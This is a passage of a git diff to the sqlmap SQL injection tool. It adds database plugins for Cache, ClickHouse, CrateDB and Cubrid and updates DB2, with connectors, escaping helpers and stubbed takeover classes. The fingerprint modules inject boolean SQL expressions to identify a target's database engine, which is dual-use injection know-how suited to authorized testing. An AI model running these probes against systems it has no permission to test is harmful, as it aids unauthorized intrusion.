setDbms(DBMS.CACHE) + + self.getBanner() + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.CACHE + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/cache/syntax.py b/plugins/dbms/cache/syntax.py new file mode 100644 index 00000000000..9a23d5195a1 --- /dev/null +++ b/plugins/dbms/cache/syntax.py @@ -0,0 +1,23 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> from lib.core.common import Backend + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHAR(97)||CHAR(98)||CHAR(99)||CHAR(100)||CHAR(101)||CHAR(102)||CHAR(103)||CHAR(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("CHAR(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/cache/takeover.py b/plugins/dbms/cache/takeover.py new file mode 100644 index 00000000000..332b33887e0 --- /dev/null +++ b/plugins/dbms/cache/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Cache it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Cache it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Cache it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Cache it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/clickhouse/__init__.py b/plugins/dbms/clickhouse/__init__.py new file mode 100755 index 00000000000..ff10ae10c88 --- /dev/null +++ b/plugins/dbms/clickhouse/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import CLICKHOUSE_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.clickhouse.enumeration import Enumeration +from plugins.dbms.clickhouse.filesystem import Filesystem +from plugins.dbms.clickhouse.fingerprint import Fingerprint +from plugins.dbms.clickhouse.syntax import Syntax +from plugins.dbms.clickhouse.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class ClickHouseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines ClickHouse methods + """ + + def __init__(self): + self.excludeDbsList = CLICKHOUSE_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.CLICKHOUSE] = Syntax.escape diff --git a/plugins/dbms/clickhouse/connector.py b/plugins/dbms/clickhouse/connector.py new file mode 100755 index 00000000000..83a868de757 --- /dev/null +++ b/plugins/dbms/clickhouse/connector.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + pass diff --git a/plugins/dbms/clickhouse/enumeration.py b/plugins/dbms/clickhouse/enumeration.py new file mode 100755 index 00000000000..8c12e1aad5a --- /dev/null +++ b/plugins/dbms/clickhouse/enumeration.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getPasswordHashes(self): + warnMsg = "on ClickHouse it is not possible to enumerate the user password hashes" + logger.warning(warnMsg) + + return {} + + def getRoles(self, *args, **kwargs): + warnMsg = "on ClickHouse it is not possible to enumerate the user roles" + logger.warning(warnMsg) + + return {} diff --git a/plugins/dbms/clickhouse/filesystem.py b/plugins/dbms/clickhouse/filesystem.py new file mode 100755 index 00000000000..5be3e8a779d --- /dev/null +++ b/plugins/dbms/clickhouse/filesystem.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def readFile(self, remoteFile): + errMsg = "on ClickHouse it is not possible to read files" + raise SqlmapUnsupportedFeatureException(errMsg) + + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + errMsg = "on ClickHouse it is not possible to write files" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/clickhouse/fingerprint.py b/plugins/dbms/clickhouse/fingerprint.py new file mode 100755 index 00000000000..1419d4dc62e --- /dev/null +++ b/plugins/dbms/clickhouse/fingerprint.py @@ -0,0 +1,91 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import CLICKHOUSE_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.CLICKHOUSE) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.CLICKHOUSE + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(CLICKHOUSE_ALIASES): + setDbms(DBMS.CLICKHOUSE) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.CLICKHOUSE + logger.info(infoMsg) + + result = inject.checkBooleanExpression("halfMD5('abcd')='16356072519128051347'") + + if result: + infoMsg = "confirming %s" % DBMS.CLICKHOUSE + logger.info(infoMsg) + result = inject.checkBooleanExpression("generateUUIDv4(1)!=generateUUIDv4(2)") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.CLICKHOUSE + logger.warning(warnMsg) + + return False + + setDbms(DBMS.CLICKHOUSE) + self.getBanner() + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.CLICKHOUSE + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/clickhouse/syntax.py b/plugins/dbms/clickhouse/syntax.py new file mode 100755 index 00000000000..93da628052a --- /dev/null +++ b/plugins/dbms/clickhouse/syntax.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT char(97)||char(98)||char(99)||char(100)||char(101)||char(102)||char(103)||char(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("char(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/clickhouse/takeover.py b/plugins/dbms/clickhouse/takeover.py new file mode 100755 index 00000000000..6e16590937b --- /dev/null +++ b/plugins/dbms/clickhouse/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on ClickHouse it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on ClickHouse it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on ClickHouse it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on ClickHouse it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/cratedb/__init__.py b/plugins/dbms/cratedb/__init__.py new file mode 100644 index 00000000000..c9e2259bf0d --- /dev/null +++ b/plugins/dbms/cratedb/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import CRATEDB_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.cratedb.enumeration import Enumeration +from plugins.dbms.cratedb.filesystem import Filesystem +from plugins.dbms.cratedb.fingerprint import Fingerprint +from plugins.dbms.cratedb.syntax import Syntax +from plugins.dbms.cratedb.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class CrateDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines CrateDB methods + """ + + def __init__(self): + self.excludeDbsList = CRATEDB_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.CRATEDB] = Syntax.escape diff --git a/plugins/dbms/cratedb/connector.py b/plugins/dbms/cratedb/connector.py new file mode 100644 index 00000000000..0c5e5436180 --- /dev/null +++ b/plugins/dbms/cratedb/connector.py @@ -0,0 +1,73 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +try: + import psycopg2 + import psycopg2.extensions + psycopg2.extensions.register_type(psycopg2.extensions.UNICODE) + psycopg2.extensions.register_type(psycopg2.extensions.UNICODEARRAY) +except: + pass + +from lib.core.common import getSafeExString +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: http://initd.org/psycopg/ + User guide: http://initd.org/psycopg/docs/ + API: http://initd.org/psycopg/docs/genindex.html + Debian package: python-psycopg2 + License: GPL + + Possible connectors: http://wiki.python.org/moin/PostgreSQL + """ + + def connect(self): + self.initConnection() + + try: + self.connector = psycopg2.connect(host=self.hostname, user=self.user, password=self.password, database=self.db, port=self.port) + except psycopg2.OperationalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.connector.set_client_encoding('UNICODE') + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except psycopg2.ProgrammingError as ex: + logger.warning(getSafeExString(ex)) + return None + + def execute(self, query): + retVal = False + + try: + self.cursor.execute(query) + retVal = True + except (psycopg2.OperationalError, psycopg2.ProgrammingError) as ex: + logger.warning(("(remote) '%s'" % getSafeExString(ex)).strip()) + except psycopg2.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.connector.commit() + + return retVal + + def select(self, query): + retVal = None + + if self.execute(query): + retVal = self.fetchall() + + return retVal diff --git a/plugins/dbms/cratedb/enumeration.py b/plugins/dbms/cratedb/enumeration.py new file mode 100644 index 00000000000..4c9e66b39e2 --- /dev/null +++ b/plugins/dbms/cratedb/enumeration.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getPasswordHashes(self): + warnMsg = "on CrateDB it is not possible to enumerate the user password hashes" + logger.warning(warnMsg) + + return {} + + def getRoles(self, *args, **kwargs): + warnMsg = "on CrateDB it is not possible to enumerate the user roles" + logger.warning(warnMsg) + + return {} diff --git a/plugins/dbms/cratedb/filesystem.py b/plugins/dbms/cratedb/filesystem.py new file mode 100644 index 00000000000..2e61d83c07c --- /dev/null +++ b/plugins/dbms/cratedb/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/cratedb/fingerprint.py b/plugins/dbms/cratedb/fingerprint.py new file mode 100644 index 00000000000..7a6b6f545df --- /dev/null +++ b/plugins/dbms/cratedb/fingerprint.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import CRATEDB_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.CRATEDB) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.CRATEDB + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(CRATEDB_ALIASES): + setDbms(DBMS.CRATEDB) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.CRATEDB + logger.info(infoMsg) + + result = inject.checkBooleanExpression("IGNORE3VL(NULL IS NULL)") + + if result: + infoMsg = "confirming %s" % DBMS.CRATEDB + logger.info(infoMsg) + + result = inject.checkBooleanExpression("1~1") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.CRATEDB + logger.warning(warnMsg) + + return False + + setDbms(DBMS.CRATEDB) + + self.getBanner() + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.CRATEDB + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/cratedb/syntax.py b/plugins/dbms/cratedb/syntax.py new file mode 100644 index 00000000000..17a0a02c257 --- /dev/null +++ b/plugins/dbms/cratedb/syntax.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar" + True + """ + + return expression diff --git a/plugins/dbms/cratedb/takeover.py b/plugins/dbms/cratedb/takeover.py new file mode 100644 index 00000000000..0e8b86c004c --- /dev/null +++ b/plugins/dbms/cratedb/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on CrateDB it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on CrateDB it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on CrateDB it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on CrateDB it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/cubrid/__init__.py b/plugins/dbms/cubrid/__init__.py new file mode 100644 index 00000000000..d5aedaf3c04 --- /dev/null +++ b/plugins/dbms/cubrid/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import CUBRID_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.cubrid.enumeration import Enumeration +from plugins.dbms.cubrid.filesystem import Filesystem +from plugins.dbms.cubrid.fingerprint import Fingerprint +from plugins.dbms.cubrid.syntax import Syntax +from plugins.dbms.cubrid.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class CubridMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Cubrid methods + """ + + def __init__(self): + self.excludeDbsList = CUBRID_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.CUBRID] = Syntax.escape diff --git a/plugins/dbms/cubrid/connector.py b/plugins/dbms/cubrid/connector.py new file mode 100644 index 00000000000..76aa9ea390c --- /dev/null +++ b/plugins/dbms/cubrid/connector.py @@ -0,0 +1,59 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +try: + import CUBRIDdb +except: + pass + +import logging + +from lib.core.common import getSafeExString +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://github.com/CUBRID/cubrid-python + User guide: https://github.com/CUBRID/cubrid-python/blob/develop/README.md + API: https://www.python.org/dev/peps/pep-0249/ + License: BSD License + """ + + def connect(self): + self.initConnection() + + try: + self.connector = CUBRIDdb.connect(hostname=self.hostname, username=self.user, password=self.password, database=self.db, port=self.port, connect_timeout=conf.timeout) + except CUBRIDdb.DatabaseError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except CUBRIDdb.DatabaseError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + return None + + def execute(self, query): + try: + self.cursor.execute(query) + except CUBRIDdb.DatabaseError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + except CUBRIDdb.Error as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.connector.commit() + + def select(self, query): + self.execute(query) + return self.fetchall() diff --git a/plugins/dbms/cubrid/enumeration.py b/plugins/dbms/cubrid/enumeration.py new file mode 100644 index 00000000000..142b170108a --- /dev/null +++ b/plugins/dbms/cubrid/enumeration.py @@ -0,0 +1,32 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getPasswordHashes(self): + warnMsg = "on Cubrid it is not possible to enumerate password hashes" + logger.warning(warnMsg) + + return {} + + def getStatements(self): + warnMsg = "on Cubrid it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] + + def getRoles(self, *args, **kwargs): + warnMsg = "on Cubrid it is not possible to enumerate the user roles" + logger.warning(warnMsg) + + return {} + + def getHostname(self): + warnMsg = "on Cubrid it is not possible to enumerate the hostname" + logger.warning(warnMsg) diff --git a/plugins/dbms/cubrid/filesystem.py b/plugins/dbms/cubrid/filesystem.py new file mode 100644 index 00000000000..2e61d83c07c --- /dev/null +++ b/plugins/dbms/cubrid/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/cubrid/fingerprint.py b/plugins/dbms/cubrid/fingerprint.py new file mode 100644 index 00000000000..9d1a16c151d --- /dev/null +++ b/plugins/dbms/cubrid/fingerprint.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import CUBRID_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.CUBRID) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.CUBRID + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(CUBRID_ALIASES): + setDbms(DBMS.CUBRID) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.CUBRID + logger.info(infoMsg) + + result = inject.checkBooleanExpression("{} SUBSETEQ (CAST ({} AS SET))") + + if result: + infoMsg = "confirming %s" % DBMS.CUBRID + logger.info(infoMsg) + + result = inject.checkBooleanExpression("DRAND()<2") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.CUBRID + logger.warning(warnMsg) + + return False + + setDbms(DBMS.CUBRID) + + self.getBanner() + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.CUBRID + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/cubrid/syntax.py b/plugins/dbms/cubrid/syntax.py new file mode 100644 index 00000000000..070abcd25b3 --- /dev/null +++ b/plugins/dbms/cubrid/syntax.py @@ -0,0 +1,23 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> from lib.core.common import Backend + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("CHR(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/cubrid/takeover.py b/plugins/dbms/cubrid/takeover.py new file mode 100644 index 00000000000..cb140d6c9c5 --- /dev/null +++ b/plugins/dbms/cubrid/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Cubrid it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Cubrid it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Cubrid it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Cubrid it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/db2/__init__.py b/plugins/dbms/db2/__init__.py index 6bf0091cf6a..9b70ae438ab 100644 --- a/plugins/dbms/db2/__init__.py +++ b/plugins/dbms/db2/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -24,11 +24,7 @@ class DB2Map(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov def __init__(self): self.excludeDbsList = DB2_SYSTEM_DBS - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in self.__class__.__bases__: + cls.__init__(self) unescaper[DBMS.DB2] = Syntax.escape diff --git a/plugins/dbms/db2/connector.py b/plugins/dbms/db2/connector.py index fc6051de1f6..0a8e96b7a34 100644 --- a/plugins/dbms/db2/connector.py +++ b/plugins/dbms/db2/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -26,9 +26,6 @@ class Connector(GenericConnector): License: Apache License 2.0 """ - def __init__(self): - GenericConnector.__init__(self) - def connect(self): self.initConnection() diff --git a/plugins/dbms/db2/enumeration.py b/plugins/dbms/db2/enumeration.py index 129ef027896..3a6c3599e35 100644 --- a/plugins/dbms/db2/enumeration.py +++ b/plugins/dbms/db2/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -9,11 +9,14 @@ from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): - def __init__(self): - GenericEnumeration.__init__(self) - def getPasswordHashes(self): - warnMsg = "on DB2 it is not possible to list password hashes" - logger.warn(warnMsg) + warnMsg = "on IBM DB2 it is not possible to enumerate password hashes" + logger.warning(warnMsg) return {} + + def getStatements(self): + warnMsg = "on IBM DB2 it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] diff --git a/plugins/dbms/db2/filesystem.py b/plugins/dbms/db2/filesystem.py index 4f0d86be78e..2e61d83c07c 100644 --- a/plugins/dbms/db2/filesystem.py +++ b/plugins/dbms/db2/filesystem.py @@ -1,12 +1,11 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def __init__(self): - GenericFilesystem.__init__(self) + pass diff --git a/plugins/dbms/db2/fingerprint.py b/plugins/dbms/db2/fingerprint.py index dd6e34af9b9..aa12d2ed11a 100644 --- a/plugins/dbms/db2/fingerprint.py +++ b/plugins/dbms/db2/fingerprint.py @@ -1,12 +1,13 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import Format +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -69,8 +70,10 @@ def getFingerprint(self): if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") - banVer = Format.getDbms([banVer]) - value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() @@ -94,16 +97,25 @@ def checkDbms(self): logMsg = "confirming %s" % DBMS.DB2 logger.info(logMsg) - version = self._versionCheck() + result = inject.checkBooleanExpression("JULIAN_DAY(CURRENT DATE) IS NOT NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % 